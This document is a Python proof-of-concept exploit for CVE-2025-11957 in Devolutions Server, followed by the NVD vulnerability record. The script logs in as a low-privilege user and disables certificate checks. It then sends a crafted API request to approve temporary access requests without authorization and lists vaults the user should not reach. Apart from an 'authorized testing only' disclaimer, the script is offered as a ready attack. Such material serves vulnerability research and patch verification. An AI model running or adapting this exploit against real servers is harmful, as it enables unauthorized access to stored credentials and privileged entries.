CVE-2025-11957

#!/usr/bin/env python3 """ CVE-2025-11957 PoC - Devolutions Server Improper Authorization This PoC demonstrates the improper authorization vulnerability in Devolutions Server's temporary access workflow. Use only for authorized security testing. """ import requests import json import sys # Configuration TARGET_URL = "https://target-devolutions-server.local" ATTACKER_USERNAME = "low_privilege_user" ATTACKER_PASSWORD = "password123" TARGET_USER_ID = "victim_user_id" def authenticate(): """Authenticate as a low-privilege user""" session = requests.Session() login_url = f"{TARGET_URL}/api/security/login" credentials = { "username": ATTACKER_USERNAME, "password": ATTACKER_PASSWORD } response = session.post(login_url, json=credentials, verify=False) if response.status_code == 200: print(f"[+] Successfully authenticated as {ATTACKER_USERNAME}") return session else: print(f"[-] Authentication failed: {response.status_code}") return None def exploit_improper_authorization(session): """Exploit improper authorization to approve temporary access requests""" # Step 1: Create or identify a temporary access request print("[*] Step 1: Identifying temporary access requests...") list_requests_url = f"{TARGET_URL}/api/temporary-access/requests" response = session.get(list_requests_url) if response.status_code != 200: print(f"[-] Failed to list requests: {response.status_code}") return False requests_data = response.json() # Step 2: Exploit improper authorization to approve own or others' requests print("[*] Step 2: Exploiting improper authorization...") approve_url = f"{TARGET_URL}/api/temporary-access/approve" # Craft malicious API request to approve access exploit_payload = { "requestId": requests_data[0]['id'] if requests_data else "target_request_id", "userId": TARGET_USER_ID, # Attacker can approve requests without proper authorization "approvedBy": ATTACKER_USERNAME, "notes": "Approved via crafted API request" } response = session.post(approve_url, json=exploit_payload, verify=False) if response.status_code in [200, 201]: print("[+] Successfully approved temporary access request (VULNERABLE!)") return True else: print(f"[-] Exploitation failed: {response.status_code}") return False def access_unauthorized_resources(session): """Access vaults and entries after successful exploitation""" print("[*] Step 3: Accessing unauthorized vaults and entries...") vaults_url = f"{TARGET_URL}/api/vaults" response = session.get(vaults_url, verify=False) if response.status_code == 200: vaults = response.json() print(f"[+] Found {len(vaults)} vaults (including previously unauthorized ones)") for vault in vaults: print(f" - {vault['name']} (ID: {vault['id']})") return True else: print(f"[-] Failed to access vaults: {response.status_code}") return False def main(): print("="*60) print("CVE-2025-11957 PoC - Devolutions Server") print("Improper Authorization in Temporary Access Workflow") print("="*60) # Suppress SSL warnings for testing requests.packages.urllib3.disable_warnings() # Authenticate as low-privilege user session = authenticate() if not session: sys.exit(1) # Exploit the vulnerability if exploit_improper_authorization(session): # Access unauthorized resources access_unauthorized_resources(session) print("\n[*] PoC completed") print("[!] This is for authorized security testing only") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-11957", "sourceIdentifier": "[email protected]", "published": "2025-10-22T17:15:56.103", "lastModified": "2025-11-25T18:15:49.353", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper authorization in the temporary access workflow of Devolutions Server 2025.2.12.0 and earlier allows an authenticated basic user to self-approve or approve the temporary access requests of other users and gain unauthorized access to vaults and entries via crafted API requests."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.2.14.0", "matchCriteriaId": "8D3F9B81-CD48-41F8-A9CC-9CCE424DF9D7"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2025-0015/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}